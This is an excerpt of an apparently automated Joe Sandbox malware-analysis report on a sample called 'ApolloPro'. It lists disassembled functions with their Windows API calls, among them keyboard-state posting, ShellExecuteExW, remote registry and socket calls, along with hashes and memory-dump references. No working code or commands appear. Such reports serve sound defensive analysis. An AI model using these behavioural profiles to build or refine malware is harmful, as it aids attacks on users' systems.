                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: IconLoad
                                                                    • String ID: blank$info$question$stop$warning
                                                                    • API String ID: 2457776203-404129466
                                                                    • Opcode ID: 59eace019190f89f1813b77e7ffd61614570b853ca8d28b737e0c769a32f2e69
                                                                    • Instruction ID: b275f39d05af9a28d725ea347db3c5579591ac7be185d29315015b3f8c994847
                                                                    • Opcode Fuzzy Hash: 59eace019190f89f1813b77e7ffd61614570b853ca8d28b737e0c769a32f2e69
                                                                    • Instruction Fuzzy Hash: 84113D7560934BFEE7005A14DC83CEA77ADFF06B68B10001AFA10D6381E7796FC046A1
                                                                    Function 008147E8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 47windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 00814802
                                                                    • LoadStringW.USER32(00000000), ref: 00814809
                                                                    • GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 0081481F
                                                                    • LoadStringW.USER32(00000000), ref: 00814826
                                                                    • _wprintf.LIBCMT ref: 0081484C
                                                                    • MessageBoxW.USER32(00000000,?,?,00011010), ref: 0081486A
                                                                    Strings
                                                                    • %s (%d) : ==> %s: %s %s, xrefs: 00814847
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: HandleLoadModuleString$Message_wprintf
                                                                    • String ID: %s (%d) : ==> %s: %s %s
                                                                    • API String ID: 3648134473-3128320259
                                                                    • Opcode ID: 60c13913dcfdde842843a211b54f4c902cf08d875da4977c669becdfa7b6c60e
                                                                    • Instruction ID: 29f9fbc3e1715a70e9d1d64bbac3b575f7a77445c95125b0f85f71f9003fbe80
                                                                    • Opcode Fuzzy Hash: 60c13913dcfdde842843a211b54f4c902cf08d875da4977c669becdfa7b6c60e
                                                                    • Instruction Fuzzy Hash: D3012CF69003087BE751D7A09D89EE7776CFB19301F4005A5BB4AE2141EA749E848F75
                                                                    Function 0083DB04 Relevance: 12.3, APIs: 8, Instructions: 257windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 007B29E2: GetWindowLongW.USER32(?,000000EB), ref: 007B29F3
                                                                    • GetSystemMetrics.USER32(0000000F), ref: 0083DB42
                                                                    • GetSystemMetrics.USER32(0000000F), ref: 0083DB62
                                                                    • MoveWindow.USER32(00000003,?,?,?,?,00000000,?,?,?), ref: 0083DD9D
                                                                    • SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 0083DDBB
                                                                    • SendMessageW.USER32(00000003,00000469,?,00000000), ref: 0083DDDC
                                                                    • ShowWindow.USER32(00000003,00000000), ref: 0083DDFB
                                                                    • InvalidateRect.USER32(?,00000000,00000001), ref: 0083DE20
                                                                    • DefDlgProcW.USER32(?,00000005,?,?), ref: 0083DE43
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
                                                                    • String ID:
                                                                    • API String ID: 1211466189-0
                                                                    • Opcode ID: 3347ba42449423104984eea71b61bc9d3cffb6cbb2eb1e561efed28b2a2d625d
                                                                    • Instruction ID: 1489bb30ba193da3829a41144832149384425b01f18da71ef0d9680fc6825a46
                                                                    • Opcode Fuzzy Hash: 3347ba42449423104984eea71b61bc9d3cffb6cbb2eb1e561efed28b2a2d625d
                                                                    • Instruction Fuzzy Hash: 2DB1A935600219EFDF14CF69D9857AE7BB1FF84701F088069ED48EE295D734A990CBA0
                                                                    Function 00830371 Relevance: 12.3, APIs: 8, Instructions: 256registryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 007C1A36: _memmove.LIBCMT ref: 007C1A77
                                                                      • Part of subcall function 0083147A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0083040D,?,?), ref: 00831491
                                                                    • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0083044E
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: BuffCharConnectRegistryUpper_memmove
                                                                    • String ID:
                                                                    • API String ID: 3479070676-0
                                                                    • Opcode ID: 889487ddeb689c9f5040a31e35676976161a33ddcf4aa2ee0b3b90c82934bd8c
                                                                    • Instruction ID: e7f3eec85d2e1d6a42c974aebce4e1c5987d1637cea31d55fd06251f8268b28d
                                                                    • Opcode Fuzzy Hash: 889487ddeb689c9f5040a31e35676976161a33ddcf4aa2ee0b3b90c82934bd8c
                                                                    • Instruction Fuzzy Hash: 93A15330204205DFCB20EF64C895B6ABBE5FF84314F14891DF9969B2A2DB35E955CF82
                                                                    Function 007B2E2B Relevance: 12.1, APIs: 8, Instructions: 129COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,007EC508,00000004,00000000,00000000,00000000), ref: 007B2E9F
                                                                    • ShowWindow.USER32(FFFFFFFF,00000000,00000000,00000000,?,007EC508,00000004,00000000,00000000,00000000,000000FF), ref: 007B2EE7
                                                                    • ShowWindow.USER32(FFFFFFFF,00000006,00000000,00000000,?,007EC508,00000004,00000000,00000000,00000000), ref: 007EC55B
                                                                    • ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,007EC508,00000004,00000000,00000000,00000000), ref: 007EC5C7
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: ShowWindow
                                                                    • String ID:
                                                                    • API String ID: 1268545403-0
                                                                    • Opcode ID: 39e56b7c3cef2cf9c65f3f2976c98f753aa3ff5ce9ff2caf10bf6b259a6ee66e
                                                                    • Instruction ID: 4fff606321004b3e78532c37798d3f77e20da44b862ae064e291156395c4ccfe
                                                                    • Opcode Fuzzy Hash: 39e56b7c3cef2cf9c65f3f2976c98f753aa3ff5ce9ff2caf10bf6b259a6ee66e
                                                                    • Instruction Fuzzy Hash: E74106346066C09AD736872B89CCBAB7B92BB86300F28450DF54746566C77DF893DB11
                                                                    Function 008367F8 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • DeleteObject.GDI32(00000000), ref: 00836810
                                                                    • GetDC.USER32(00000000), ref: 00836818
                                                                    • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00836823
                                                                    • ReleaseDC.USER32(00000000,00000000), ref: 0083682F
                                                                    • CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 0083686B
                                                                    • SendMessageW.USER32(?,00000030,00000000,00000001), ref: 0083687C
                                                                    • MoveWindow.USER32(?,?,?,?,?,00000000,?,?,0083964F,?,?,000000FF,00000000,?,000000FF,?), ref: 008368B6
                                                                    • SendMessageW.USER32(?,00000142,00000000,00000000), ref: 008368D6
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
                                                                    • String ID:
                                                                    • API String ID: 3864802216-0
                                                                    • Opcode ID: d7d593d9d210db40da1e56109761c5d73133c9e8c8bd262b32b40a0aab59a382
                                                                    • Instruction ID: 796226dcdc6e10c696f46d4a1e3474da2df9179e67bebae581c4c160799d613c
                                                                    • Opcode Fuzzy Hash: d7d593d9d210db40da1e56109761c5d73133c9e8c8bd262b32b40a0aab59a382
                                                                    • Instruction Fuzzy Hash: 9C316B76101214BFEB118F54CC8AFAB3BA9FF4A761F044065FF08DA291D6B59851CBB0
                                                                    Function 0080C748 Relevance: 12.1, APIs: 8, Instructions: 92COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: _memcmp
                                                                    • String ID:
                                                                    • API String ID: 2931989736-0
                                                                    • Opcode ID: f59ad866ff43d4ff22c8131d0bbcb80422439097c8b7010637d0193bb5ea7eee
                                                                    • Instruction ID: 8643081497f6c86153f55d23a3820b75915e345d9657b1078cb5b415b4b9dc16
                                                                    • Opcode Fuzzy Hash: f59ad866ff43d4ff22c8131d0bbcb80422439097c8b7010637d0193bb5ea7eee
                                                                    • Instruction Fuzzy Hash: 1221D772701209BBD244BB158E86FBB3B6CFE25754B044221FD06E63C3EB18DE1186A5
                                                                    Function 0081F166 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 323COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 007B4D37: __itow.LIBCMT ref: 007B4D62
                                                                      • Part of subcall function 007B4D37: __swprintf.LIBCMT ref: 007B4DAC
                                                                      • Part of subcall function 007C436A: _wcscpy.LIBCMT ref: 007C438D
                                                                    • _wcstok.LIBCMT ref: 0081F2D7
                                                                    • _wcscpy.LIBCMT ref: 0081F366
                                                                    • _memset.LIBCMT ref: 0081F399
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: _wcscpy$__itow__swprintf_memset_wcstok
                                                                    • String ID: X
                                                                    • API String ID: 774024439-3081909835
                                                                    • Opcode ID: e8c5b3675310b4c3aac85035051193f0750048650d27869426d4ad8cc1905851
                                                                    • Instruction ID: 8085a4a2673763f464f0407d057f7d67eab7b63f4d8df31b790a342f2de05b9c
                                                                    • Opcode Fuzzy Hash: e8c5b3675310b4c3aac85035051193f0750048650d27869426d4ad8cc1905851
                                                                    • Instruction Fuzzy Hash: B0C16A71604340DFC724EF64C899A9AB7E8FF85310F40492DF99AD72A2DB34E945CB92
                                                                    Function 008271EE Relevance: 10.8, APIs: 7, Instructions: 250networkCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • __WSAFDIsSet.WSOCK32(00000000,?,00000000,00000000,?,00000064,00000000), ref: 008272EB
                                                                    • #17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 0082730C
                                                                    • WSAGetLastError.WSOCK32(00000000), ref: 0082731F
                                                                    • htons.WSOCK32(?,?,?,00000000,?), ref: 008273D5
                                                                    • inet_ntoa.WSOCK32(?), ref: 00827392
                                                                      • Part of subcall function 0080B4EA: _strlen.LIBCMT ref: 0080B4F4
                                                                      • Part of subcall function 0080B4EA: _memmove.LIBCMT ref: 0080B516
                                                                    • _strlen.LIBCMT ref: 0082742F
                                                                    • _memmove.LIBCMT ref: 00827498
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: _memmove_strlen$ErrorLasthtonsinet_ntoa
                                                                    • String ID:
                                                                    • API String ID: 3619996494-0
                                                                    • Opcode ID: 8044106a5fc6342684e5071eea71f90fb1bcd812b70147eed41564c105b7c160
                                                                    • Instruction ID: b3051a5adcf07b1dadc32012510cd2068f4f865fcff193042209a086d0fccef5
                                                                    • Opcode Fuzzy Hash: 8044106a5fc6342684e5071eea71f90fb1bcd812b70147eed41564c105b7c160
                                                                    • Instruction Fuzzy Hash: E681DF71508210EBC310EB25EC99FABB7A8FF84714F10451DFA569B292DA34ED41CBA2
                                                                    Function 007B1800 Relevance: 10.7, APIs: 7, Instructions: 219COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: f1b0c354027d89a66bccf97da495f9cdae6acaf5b013167dfdef03206af36222
                                                                    • Instruction ID: 61c998d4e4bb26c9faded405cd0b31ed34cf4ce55ce5db9f4c16c5e848b0bf9b
                                                                    • Opcode Fuzzy Hash: f1b0c354027d89a66bccf97da495f9cdae6acaf5b013167dfdef03206af36222
                                                                    • Instruction Fuzzy Hash: F7716D34900109EFCB04CF59CC98AEEBB75FF8A314FA48159F915AB251C738AA51CFA0
                                                                    Function 0083B9C3 Relevance: 10.7, APIs: 7, Instructions: 199windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • IsWindow.USER32(01555C80), ref: 0083BA5D
                                                                    • IsWindowEnabled.USER32(01555C80), ref: 0083BA69
                                                                    • SendMessageW.USER32(00000000,0000041C,00000000,00000000), ref: 0083BB4D
                                                                    • SendMessageW.USER32(01555C80,000000B0,?,?), ref: 0083BB84
                                                                    • IsDlgButtonChecked.USER32(?,?), ref: 0083BBC1
                                                                    • GetWindowLongW.USER32(01555C80,000000EC), ref: 0083BBE3
                                                                    • SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 0083BBFB
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: MessageSendWindow$ButtonCheckedEnabledLong
                                                                    • String ID:
                                                                    • API String ID: 4072528602-0
                                                                    • Opcode ID: fdd26aa9a1224c2e2648ed866fdc1a2c226cd6114b97753d26a48470d46f43c6
                                                                    • Instruction ID: 3b163d6fd471f909afd8d8672f5da0b4d92d0f8ec13473cc8e47ffcffc10a81f
                                                                    • Opcode Fuzzy Hash: fdd26aa9a1224c2e2648ed866fdc1a2c226cd6114b97753d26a48470d46f43c6
                                                                    • Instruction Fuzzy Hash: 7C71F2B4605614AFDB249F94C894FBAB7B5FF89310F144059EB4AD72A1CB31AC50CBA0
                                                                    Function 0082FB07 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 177COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • _memset.LIBCMT ref: 0082FB31
                                                                    • _memset.LIBCMT ref: 0082FBFA
                                                                    • ShellExecuteExW.SHELL32(?), ref: 0082FC3F
                                                                      • Part of subcall function 007B4D37: __itow.LIBCMT ref: 007B4D62
                                                                      • Part of subcall function 007B4D37: __swprintf.LIBCMT ref: 007B4DAC
                                                                      • Part of subcall function 007C436A: _wcscpy.LIBCMT ref: 007C438D
                                                                    • GetProcessId.KERNEL32(00000000), ref: 0082FCB6
                                                                    • CloseHandle.KERNEL32(00000000), ref: 0082FCE5
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: _memset$CloseExecuteHandleProcessShell__itow__swprintf_wcscpy
                                                                    • String ID: @
                                                                    • API String ID: 3522835683-2766056989
                                                                    • Opcode ID: 62db9f83a34a5b7be382024f736e3ceb07157e3a79b707b2b4c42a8aba74698c
                                                                    • Instruction ID: 139aa83f1859e5065f3d85a50c84a49feaba19bd1699c82cd5edd89d4c7cd712
                                                                    • Opcode Fuzzy Hash: 62db9f83a34a5b7be382024f736e3ceb07157e3a79b707b2b4c42a8aba74698c
                                                                    • Instruction Fuzzy Hash: DE61AF75A00629DFCB14EFA4D495AAEB7F5FF48310F108469E946AB352CB34AD81CF90
                                                                    Function 0081174C Relevance: 10.7, APIs: 7, Instructions: 166windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetParent.USER32(?), ref: 0081178B
                                                                    • GetKeyboardState.USER32(?), ref: 008117A0
                                                                    • SetKeyboardState.USER32(?), ref: 00811801
                                                                    • PostMessageW.USER32(?,00000101,00000010,?), ref: 0081182F
                                                                    • PostMessageW.USER32(?,00000101,00000011,?), ref: 0081184E
                                                                    • PostMessageW.USER32(?,00000101,00000012,?), ref: 00811894
                                                                    • PostMessageW.USER32(?,00000101,0000005B,?), ref: 008118B7
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: MessagePost$KeyboardState$Parent
                                                                    • String ID:
                                                                    • API String ID: 87235514-0
                                                                    • Opcode ID: 21a8c7d3888df34e1d7ff60d444ccf78c97ecbed9bc0da62cb6a0eb5335e0be0
                                                                    • Instruction ID: e6b9a11e9fa94165ac6937cbb627e47bdfaba1d35475b52992667fd77f4c2b6d
                                                                    • Opcode Fuzzy Hash: 21a8c7d3888df34e1d7ff60d444ccf78c97ecbed9bc0da62cb6a0eb5335e0be0
                                                                    • Instruction Fuzzy Hash: 2A51D3A0A147D53DFF3243348809BFA7EEDBF06304F088999E2D5C58C2D294A8C4D751
                                                                    Function 00811565 Relevance: 10.7, APIs: 7, Instructions: 165windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetParent.USER32(00000000), ref: 008115A4
                                                                    • GetKeyboardState.USER32(?), ref: 008115B9
                                                                    • SetKeyboardState.USER32(?), ref: 0081161A
                                                                    • PostMessageW.USER32(00000000,00000100,00000010,?), ref: 00811646
                                                                    • PostMessageW.USER32(00000000,00000100,00000011,?), ref: 00811663
                                                                    • PostMessageW.USER32(00000000,00000100,00000012,?), ref: 008116A7
                                                                    • PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 008116C8
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: MessagePost$KeyboardState$Parent
                                                                    • String ID:
                                                                    • API String ID: 87235514-0
                                                                    • Opcode ID: 21f7ed8b148cb10d1308d58686962bb87c24bc37d614d31d0942e443a773c822
                                                                    • Instruction ID: 385a9c29c7fecd37c4aacc67f5dff8a53352aae89f4ec841a089955c544be96d
                                                                    • Opcode Fuzzy Hash: 21f7ed8b148cb10d1308d58686962bb87c24bc37d614d31d0942e443a773c822
                                                                    • Instruction Fuzzy Hash: 5751C2A05047D53DFF3287248C49BFABEADBF06300F0C8589E2D9869C2D695ACD4E761
                                                                    Function 00815BB8 Relevance: 10.6, APIs: 7, Instructions: 138timeCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: _wcsncpy$LocalTime
                                                                    • String ID:
                                                                    • API String ID: 2945705084-0
                                                                    • Opcode ID: 33c8925fdf13a2fb22344ff02beb7320bcd2aae8ab10e0b9d6f3ad106a0ae5fd
                                                                    • Instruction ID: 71deeac77ca43cb1d323bc9478354fd00d39bd313c3eb6437e322547abfa57d6
                                                                    • Opcode Fuzzy Hash: 33c8925fdf13a2fb22344ff02beb7320bcd2aae8ab10e0b9d6f3ad106a0ae5fd
